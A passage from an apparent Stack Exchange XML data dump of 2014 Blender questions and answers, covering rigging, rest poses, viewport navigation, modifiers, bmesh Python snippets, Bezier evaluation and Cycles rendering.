installed the Addon by using the Addon Tab in User Preferences, then myhome points to Blender's &lt;em&gt;scripts/addons/myaddon&lt;/em&gt; folder in the Appdata directory.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Open in Preset folder (where to store addon presets)&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    import bpy&#xA;    import os&#xA;    import myaddon&#xA;    presets   = bpy.utils.user_resource('SCRIPTS', &quot;presets&quot;)&#xA;    mypresets = os.path.join(presets, myaddon.__name__)&#xA;    if not os.path.exists(mypresets):&#xA;        os.makedirs(mypresets)    &#xA;    mypath = os.path.join(mypresets, &quot;myfile.xxx&quot;)&#xA;&#xA;    fout     = open(mypath)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="248" LastEditorUserId="248" LastEditDate="2014-09-27T11:18:39.103" LastActivityDate="2014-09-27T11:18:39.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16221" PostTypeId="2" ParentId="16217" CreationDate="2014-09-27T11:14:37.167" Score="2" Body="&lt;p&gt;&lt;strong&gt;If your active Object is an armature&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you have an Armature in Edit mode, then you always see the Bones in Rest Pose. While when you switch to Pose Mode or Object mode, then you see the object in its current pose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can get out of this by resetting your pose to pose mode:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;enter pose mode&lt;/li&gt;&#xA;&lt;li&gt;Select all bones ( &lt;kbd&gt;A&lt;/kbd&gt; )&lt;/li&gt;&#xA;&lt;li&gt;Then type: &lt;kbd&gt;ALT R&lt;/kbd&gt;&lt;kbd&gt;ALT S&lt;/kbd&gt;&lt;kbd&gt;ALT G&lt;/kbd&gt; to reset rotations, scales and locations of your pose bones. Or alternatively from within the 3D Viewport footer navigate to: Pose -&gt; Clear Transform -&gt; All&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;If your active Object is a Rigged Mesh&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then the object is (most probably) assigned to an Armature via the modifier Stack. In that case the Object by default gets displayed in Rest Pose when you edit the mesh. In the image below you see the object aligned to the Armature Pose when in Object mode(left side), but displayed in Rest Pose when in edit mode(right side).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TN3jj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you can force to display the effect of the Modifier in edit mode as well:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Open the Modifier Stack&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the Armature modifier set the options (see image)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;Display Modifier in edit Mode&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Adjust edit Cage to Modifier result&lt;/em&gt; (see note below)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rIS0j.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The tool tip text is from upcoming Blender 2.72 In older Blender releases the text was: &lt;em&gt;Apply modifier to editing cage during edit mode&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="248" LastEditorUserId="248" LastEditDate="2014-09-27T14:27:11.543" LastActivityDate="2014-09-27T14:27:11.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16222" PostTypeId="1" AcceptedAnswerId="16223" CreationDate="2014-09-27T11:37:07.157" Score="1" ViewCount="718" Body="&lt;p&gt;I am on Mac with Blender 2.71. I got an mhx file imported. But the problem is that it looks huge. I could see only the bottom part in user presp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In File -&gt; User Pref -&gt; Input, Presets set to Maya.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How could I Zoom in and Out so that I could see the whole object (Exported Human Object)&lt;/p&gt;&#xA;" OwnerUserId="6154" LastActivityDate="2014-09-27T13:15:03.330" Title="How to zoom in and out the user presp" Tags="&lt;customization&gt;&lt;makehuman&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16223" PostTypeId="2" ParentId="16222" CreationDate="2014-09-27T12:04:49.047" Score="1" Body="&lt;p&gt;To see all objects in the scene:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;in the 3D Viewport footer: : View -&gt; View all&lt;/li&gt;&#xA;&lt;li&gt;or press &lt;kbd&gt;Home&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you have a mouse with a mouse wheel: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Scroll with the wheel.&lt;/li&gt;&#xA;&lt;li&gt;Or press &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;MMB &lt;img src=&quot;https://wiki.blender.org/uploads/7/7b/Template-MMB.png&quot; alt=&quot;MMB&quot;&gt;&lt;/kbd&gt; then as long as you keep the the key and the &lt;kbd&gt;MMB &lt;img src=&quot;https://wiki.blender.org/uploads/7/7b/Template-MMB.png&quot; alt=&quot;MMB&quot;&gt;&lt;/kbd&gt; pressed, you can zoom in/out by dragging the mouse.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you have a 2 button mouse:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Open user preferences&lt;/li&gt;&#xA;&lt;li&gt;Open the Input Tab&lt;/li&gt;&#xA;&lt;li&gt;enable &lt;em&gt;Emulate 3 Button Mouse&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;then you can press &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;Alt&lt;/kbd&gt; then click &lt;kbd&gt;LMB &lt;img src=&quot;https://wiki.blender.org/uploads/1/10/Template-LMB.png&quot; alt=&quot;LMB&quot;&gt;&lt;/kbd&gt; and drag the mouse to zoom in/out&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="248" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:44.450" LastActivityDate="2014-09-27T13:15:03.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16224" PostTypeId="2" ParentId="16188" CreationDate="2014-09-27T12:06:06.887" Score="2" Body="&lt;p&gt;The holes you see are from the mesh intersecting with itself, which will confuse the choice of being inside or outside of the mesh with volume shading. Using the remesh modifier with smoothing can relax the mesh enough to prevent the intersection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another approach that can give more control is to use shape keys. While the mesh is posed in that position, create a shapekey that moves the necessary vertices to prevent the intersection. If you are animating you can add keyframes to the shapekey value so that it is applied as the character moves into that pose.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-09-27T12:06:06.887" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16225" PostTypeId="2" ParentId="16131" CreationDate="2014-09-27T15:32:47.950" Score="4" Body="&lt;p&gt;Once you do have a sensor size, blender can often do a decent job of calculating the focal length and lens distortion for us.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Included in the tracking solve panel is a menu for refine options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kjQjH.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To help reduce the error rate try and get the markers spread out as much as possible. Have markers in the foreground as well as the background, the floor and high on the walls. Let blender track the points, don't manually move the point to the location of the next frame. Try using different motion models (affine, perspective) match to previous frame instead of keyframe, disable colour channels or use black and white to get better contrast. Use the tracking graph editor to find points that jump around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if you have any interest in joining the blender cloud, Sebastian does a good job of explaining the methods and options to get a good track in the first part of &lt;a href=&quot;https://cloud.blender.org/training/track-match-blend-2/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Track Match Blend 2&lt;/a&gt; that is now available.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-09-27T15:32:47.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16229" PostTypeId="2" ParentId="8216" CreationDate="2014-09-27T19:16:23.883" Score="0" Body="&lt;p&gt;One trick is to clone the original Armature, modify the clone's rest pose so that it fits to the BVH as described above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But then add bone constraints which would use the clone as driver (proxy?) for the original armature. When you do this then you can keep your Original Rest Pose intact...&lt;/p&gt;&#xA;" OwnerUserId="248" LastActivityDate="2014-09-27T19:16:23.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16230" PostTypeId="1" CreationDate="2014-09-27T19:29:22.513" Score="1" ViewCount="86" Body="&lt;p&gt;My blender file represents one object for an isometric tiled game. I now want to render this object in multiple parts according to my coordinate system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I need is to tell blender it should only render inside of a specific cube-sized area (parallel to Blender's global axes).&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I tried adding a cube mesh in combination with Boolean modifier. Did not work as expected.&lt;/li&gt;&#xA;&lt;li&gt;Is there a way I can set a minXYZ/maxXYZ option for rendering?&lt;/li&gt;&#xA;&lt;li&gt;Another option I'm not seeing right now?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6234" LastEditorUserId="6234" LastEditDate="2014-09-27T19:34:48.697" LastActivityDate="2014-09-27T19:34:48.697" Title="Limit rendering to a specific part of the world" Tags="&lt;rendering&gt;&lt;scripting&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16231" PostTypeId="2" ParentId="15963" CreationDate="2014-09-27T19:35:11.703" Score="5" Body="&lt;p&gt;Try adding a remesh modifier to the text:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QWWfe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then the boolean modifier will work as expected:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OV2S1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-09-27T19:35:11.703" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16232" PostTypeId="2" ParentId="7923" CreationDate="2014-09-27T19:46:15.340" Score="2" Body="&lt;p&gt;Also you must use a real size object to obtain realistic result (to get a reliable f/stop response, like real world lenses). Small objects close up (at a short focal length) make a great bokeh effect due to a shallow DoF. Larger, distant objects like a building create poor bokeh (deep DoF).&#xA;Also play with some camera presets, like sensor size and focal length.&lt;/p&gt;&#xA;" OwnerUserId="6236" LastEditorUserId="57787" LastEditDate="2021-04-18T08:38:20.743" LastActivityDate="2021-04-18T08:38:20.743" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="16234" PostTypeId="1" CreationDate="2014-09-27T21:18:47.153" Score="1" ViewCount="139" Body="&lt;p&gt;I have an Earth object where the surface would be with a Bump map and the ocean without it. However, the bump texture is for both and I want to block the parts for the ocean using a black and white texture. It would look something like this - &#xA;&lt;img src=&quot;https://i.stack.imgur.com/N5f4h.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is easily accomplished in the Cycles render engine by just plugging the texture into the Factor input of the Mix Shader – &#xA;&lt;img src=&quot;https://i.stack.imgur.com/eLWHO.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/QDBI4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is it done in the Internal render engine?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried the same in the internal render engine, but there are some issues. here is the blend file -  &lt;a href=&quot;http://www.pasteall.org/blend/31825&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/31825&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3398" LastEditorUserId="3398" LastEditDate="2014-09-27T22:18:33.157" LastActivityDate="2014-09-27T22:18:33.157" Title="Materials defined by a texture" Tags="&lt;materials&gt;&lt;nodes&gt;&lt;blender-internal-render-engine&gt;&lt;shaders&gt;" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="16236" PostTypeId="1" AcceptedAnswerId="16237" CreationDate="2014-09-28T00:16:25.777" Score="3" ViewCount="532" Body="&lt;p&gt;I am trying to make a chain link fence. I created one of the links using four cylinders, but when I try to add the array to all four, it adds it to the last one I selected. Is there and way to use an array on the whole link?&lt;/p&gt;&#xA;" OwnerUserId="6238" LastEditorUserId="2217" LastEditDate="2014-09-28T17:28:09.383" LastActivityDate="2014-09-28T17:28:09.383" Title="Add Array to multiple objects" Tags="&lt;objects&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16237" PostTypeId="2" ParentId="16236" CreationDate="2014-09-28T00:19:40.913" Score="3" Body="&lt;p&gt;You can copy the modifiers from the active object to the selected objects with &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt;&lt;em&gt;&gt; Modifiers&lt;/em&gt;, or you can join all the cylinders into one object with &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;J&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case I would probably join them.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-09-28T00:24:48.833" LastActivityDate="2014-09-28T00:24:48.833" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16238" PostTypeId="1" CreationDate="2014-09-28T01:13:47.417" Score="3" ViewCount="1307" Body="&lt;p&gt;I am having a problem trying to set the active vertex in blender. I have a list of vertices but I cannot set the active vertex. I am able to retrieve the active vertex through select_history of the bmesh, but I cannot set it, says its not writable&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#get bmesh&#xA;bm=bmesh.from_edit_mesh(bpy.context.active_object.data)&#xA;&#xA;#print active vert&#xA;print(bm.select_history.active)&#xA;&#xA;#if I do something like this, error not writable&#xA;bm.select_history.active = bm.verts[5]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6096" LastEditorUserId="2217" LastEditDate="2014-09-28T17:26:38.667" LastActivityDate="2017-11-01T15:35:12.913" Title="Set active vertex through python" Tags="&lt;python&gt;&lt;vertices&gt;&lt;selection-tools&gt;&lt;bmesh&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16239" PostTypeId="1" CreationDate="2014-09-28T01:40:22.280" Score="1" ViewCount="223" Body="&lt;p&gt;I looked in the online manual, but all I am trying to do for example is set (Cube 1) on layer 1 and take (Cube 2) and put that on layer two but I cannot figure out please help thank you!  &lt;/p&gt;&#xA;" OwnerUserId="6240" LastActivityDate="2014-09-28T05:32:27.680" Title="How to set objects to layers?" Tags="&lt;layers&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2014-09-28T04:55:30.623" ContentLicense="CC BY-SA 3.0" />
  <row Id="16240" PostTypeId="2" ParentId="16239" CreationDate="2014-09-28T01:46:35.840" Score="1" Body="&lt;p&gt;Assuming you are talking about the viewport layers you see in the header:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FwDTv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then just press &lt;kbd&gt;M&lt;/kbd&gt; with the appropriate objects selected and click on the layer(s) you want them to be visible on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LvQTv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another method is to use the properties window, object tab, relations pane; the object will appear in one or more of the layers represented here by activating the button. The relations pane is illustrated in red, and in the image is in the default position. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Q7RDX.png&quot; alt=&quot;layer selection method&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="3401" LastEditDate="2014-09-28T05:32:27.680" LastActivityDate="2014-09-28T05:32:27.680" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16241" PostTypeId="1" CreationDate="2014-09-28T01:53:24.310" Score="4" ViewCount="668" Body="&lt;p&gt;I'm trying to export Blender Bezier Paths to Unity, so that Unity objects can follow along those paths.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 2 ways to do this that I came up with so far are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Blender script creates an empty for every control point in the Blender path, then those get imported into Unity as empty game objects (aka transforms) and from within Unity I can calculate B(t) based on the control points.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Blender script takes a &quot;resolution&quot; parameter, which it uses to&#xA;evaluate the path and instead create an empty along the path for&#xA;each sample. Then those get imported into Unity as empties and from&#xA;within Unity I just have the objects follow this checkpoints along&#xA;the path.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For approach 2, I'd need to evaluate the spline inside blender. And I was hoping that bpy.types.Curve would have an eval(t) or similar method but I haven't found anything in the API so far. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is, is there anything in the Blender API for evaluating or do I need to write the evaluation code myself?&lt;/p&gt;&#xA;" OwnerUserId="6239" LastEditorUserId="2217" LastEditDate="2014-09-28T02:32:13.670" LastActivityDate="2014-09-28T04:53:29.587" Title="Does Blender API have any evaluation function for Bezier curves?" Tags="&lt;python&gt;&lt;export&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16242" PostTypeId="2" ParentId="16241" CreationDate="2014-09-28T03:02:25.123" Score="3" Body="&lt;p&gt;Ok I found it: &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_release/mathutils.geometry.html#mathutils.geometry.interpolate_bezier&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;mathutils.geometry.interpolate_bezier()&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="6239" LastEditorUserId="12" LastEditDate="2014-09-28T04:53:29.587" LastActivityDate="2014-09-28T04:53:29.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16243" PostTypeId="1" CreationDate="2014-09-28T03:25:38.160" Score="3" ViewCount="883" Body="&lt;p&gt;That blender would basically emulate a basic google sketchup interface, with grid snapping, mouse bindings, selectable surfaces, and all that jazz?&lt;/p&gt;&#xA;" OwnerUserId="6241" LastEditorUserId="2217" LastEditDate="2014-09-28T03:37:42.790" LastActivityDate="2019-04-23T15:21:26.930" Title="Is there a google sketchup mode?" Tags="&lt;interface&gt;&lt;3d-view&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16244" PostTypeId="2" ParentId="16243" CreationDate="2014-09-28T03:45:18.963" Score="6" Body="&lt;p&gt;There is no one click button to make blender act just like sketchup, but most of what you want can be done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To turn on grid snapping press &lt;kbd&gt;Shift&lt;/kbd&gt; &lt;kbd&gt;Tab&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By &quot;Selectable surfaces&quot; I think you would want to select a face. So in edit mode (&lt;kbd&gt;Tab&lt;/kbd&gt; to toggle in and out of edit mode) press &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;Tab&lt;/kbd&gt; &gt; &lt;em&gt;Face&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All keyboard shortcuts and mouse actions can be changed through the user preferences. &lt;em&gt;File &gt; User Preferences&lt;/em&gt; or &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;Alt&lt;/kbd&gt; &lt;kbd&gt;U&lt;/kbd&gt; then the &lt;em&gt;Input&lt;/em&gt; tab.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-09-28T03:45:18.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16246" PostTypeId="1" AcceptedAnswerId="16254" CreationDate="2014-09-28T06:46:12.693" Score="1" ViewCount="1609" Body="&lt;p&gt;I have a human model made using Makehuman tool. I have exported it to Blender. &lt;strong&gt;As a beginner&lt;/strong&gt; I found it very confusing. Could see lots of details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking for some simple tutorial that helps learning animation from this file. I need to do animation of hand,face. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is for academic research.&lt;/p&gt;&#xA;" OwnerUserId="6154" LastActivityDate="2014-10-28T22:06:31.190" Title="how to do custom animation in a mhx file made using Makehuman" Tags="&lt;animation&gt;&lt;makehuman&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16247" PostTypeId="2" ParentId="16238" CreationDate="2014-09-28T07:52:42.910" Score="3" Body="&lt;p&gt;You can add elements to the bmesh history. The last added element is automatically set as active element. Here is a small code example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;&#xA;me = bpy.context.edit_object.data&#xA;&#xA;#get bmesh (Object needs to be in Edit mode)&#xA;bm=bmesh.from_edit_mesh(me)&#xA;&#xA;bm.select_history.add(bm.verts[5])&#xA;&#xA;#print active vert:&#xA;print(bm.select_history.active)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="248" LastEditorUserId="248" LastEditDate="2017-11-01T15:35:12.913" LastActivityDate="2017-11-01T15:35:12.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16249" PostTypeId="1" CreationDate="2014-09-28T12:25:17.970" Score="2" ViewCount="2018" Body="&lt;p&gt;I'm new to Blender, not so new to Unity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I built a 3D human model using Make Human, imported it to Blender, and used the following tutorial.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.unity3d.com/Manual/BlenderAndRigify.html&quot; rel=&quot;nofollow&quot;&gt;Using Blender And Rigify&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I set up a an Armature, rigged it and deleted WGT bones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, the tutorial says that I need to skin the rig to the model, but, after I added the armature and parented the rig to the mesh as the tutorial says, I already had the model rigged, I was able to animate and to import it to Unity with everything configured correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, why is the section &lt;code&gt;Skinning the Rig to the Model&lt;/code&gt; there and how was I able to do this without the skinning process the tutorial mention? I am sure happy to be able to skip this, but it makes me feel like there is something I do not understand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe in Blender 2.69 the skinning process is included in the parenting?&lt;/p&gt;&#xA;" OwnerUserId="6082" LastEditorUserId="2217" LastEditDate="2014-09-28T17:11:07.033" LastActivityDate="2014-09-28T17:22:17.523" Title="Blender Rigging process. Is skinning a must?" Tags="&lt;rigging&gt;&lt;armature&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16251" PostTypeId="1" AcceptedAnswerId="16261" CreationDate="2014-09-28T16:44:50.983" Score="13" ViewCount="3550" Body="&lt;p&gt;I have to render an image of 27000 x 7000 for a 150dpi print. The scene is quite big, but cycles preview and a render in 2700x7000 works as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;If I hit render my memory raises up to 20gb, but my cpu usage is at 5%. Why cycles does not using the full cpu power during the render process?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are my rendersettings:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Pathtracing&#xA;Samples:3000&#xA;Tilesize: 64x64&#xA;Bounces: Max 12 | Min 3&#xA;Diffuse: 4&#xA;Glossy: 4&#xA;Transmission: 12&#xA;Volume: 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is there a way to optimize things?&lt;/strong&gt; &lt;/p&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="228" LastEditDate="2017-07-11T09:57:45.067" LastActivityDate="2017-07-11T09:57:45.067" Title="How to render a 30K image with cycles?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;.exr&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="16252" PostTypeId="2" ParentId="16249" CreationDate="2014-09-28T17:22:17.523" Score="3" Body="&lt;p&gt;When you press &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;P&lt;/kbd&gt; and select &lt;em&gt;With Automatic weights&lt;/em&gt;, blender sets up all the vertex groups for each bone. Blender uses the mesh closest to the bone for each vertex group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In some cases &lt;em&gt;With Automatic weights&lt;/em&gt; will work very well, if you have good bone placement. Other times you will have to tweak each bone's weight (the vertex group).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The unity tutorial talks about skinning specific bones to use with unity's Mecanim.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-09-28T17:22:17.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16254" PostTypeId="2" ParentId="16246" CreationDate="2014-09-28T21:14:29.930" Score="1" Body="&lt;p&gt;You should read or watch a few of the available &lt;a href=&quot;http://www.makehuman.org/documentation&quot; rel=&quot;nofollow noreferrer&quot;&gt;tutorials&lt;/a&gt; or &lt;a href=&quot;http://meta-guide.com/videography/100-best-makehuman-videos/&quot; rel=&quot;nofollow noreferrer&quot;&gt;100 'best'&lt;/a&gt;, the mhx addon adds buttons for the rig-layers where you can select which manipulators are shown in the viewport.&#xA;The following animation was recorded in &lt;em&gt;Pose Mode&lt;/em&gt;. You should read about the difference between IK/FK.&#xA;After that just record your animation by keyframing the poses setup by the controls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nXXol.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-09-28T21:14:29.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16255" PostTypeId="2" ParentId="15795" CreationDate="2014-09-28T21:50:13.653" Score="0" Body="&lt;p&gt;If you were using a video, you could use blender camera tracking, and add objects to the scene that way. Then, you could select the exact frame in the video that you wanted to add the objects to. For example, if you had a video of the soccer game, then you could use that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an tutorial on blender camera tracking:&#xA;&lt;a href=&quot;https://www.google.com/url?sa=t&amp;amp;rct=j&amp;amp;q=&amp;amp;esrc=s&amp;amp;source=web&amp;amp;cd=3&amp;amp;cad=rja&amp;amp;uact=8&amp;amp;ved=0CDIQtwIwAg&amp;amp;url=http%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DCVPcT0dJmoY&amp;amp;ei=J4IoVOy7CIi9ggTB7YDwCA&amp;amp;usg=AFQjCNF6HngfToZ3LNcfFsj9NnkfFfc6hg&amp;amp;sig2=JLK58U_NvMz6XS_KS3IzCA&quot; rel=&quot;nofollow&quot;&gt;https://www.google.com/url?sa=t&amp;amp;rct=j&amp;amp;q=&amp;amp;esrc=s&amp;amp;source=web&amp;amp;cd=3&amp;amp;cad=rja&amp;amp;uact=8&amp;amp;ved=0CDIQtwIwAg&amp;amp;url=http%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DCVPcT0dJmoY&amp;amp;ei=J4IoVOy7CIi9ggTB7YDwCA&amp;amp;usg=AFQjCNF6HngfToZ3LNcfFsj9NnkfFfc6hg&amp;amp;sig2=JLK58U_NvMz6XS_KS3IzCA&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6238" LastActivityDate="2014-09-28T21:50:13.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
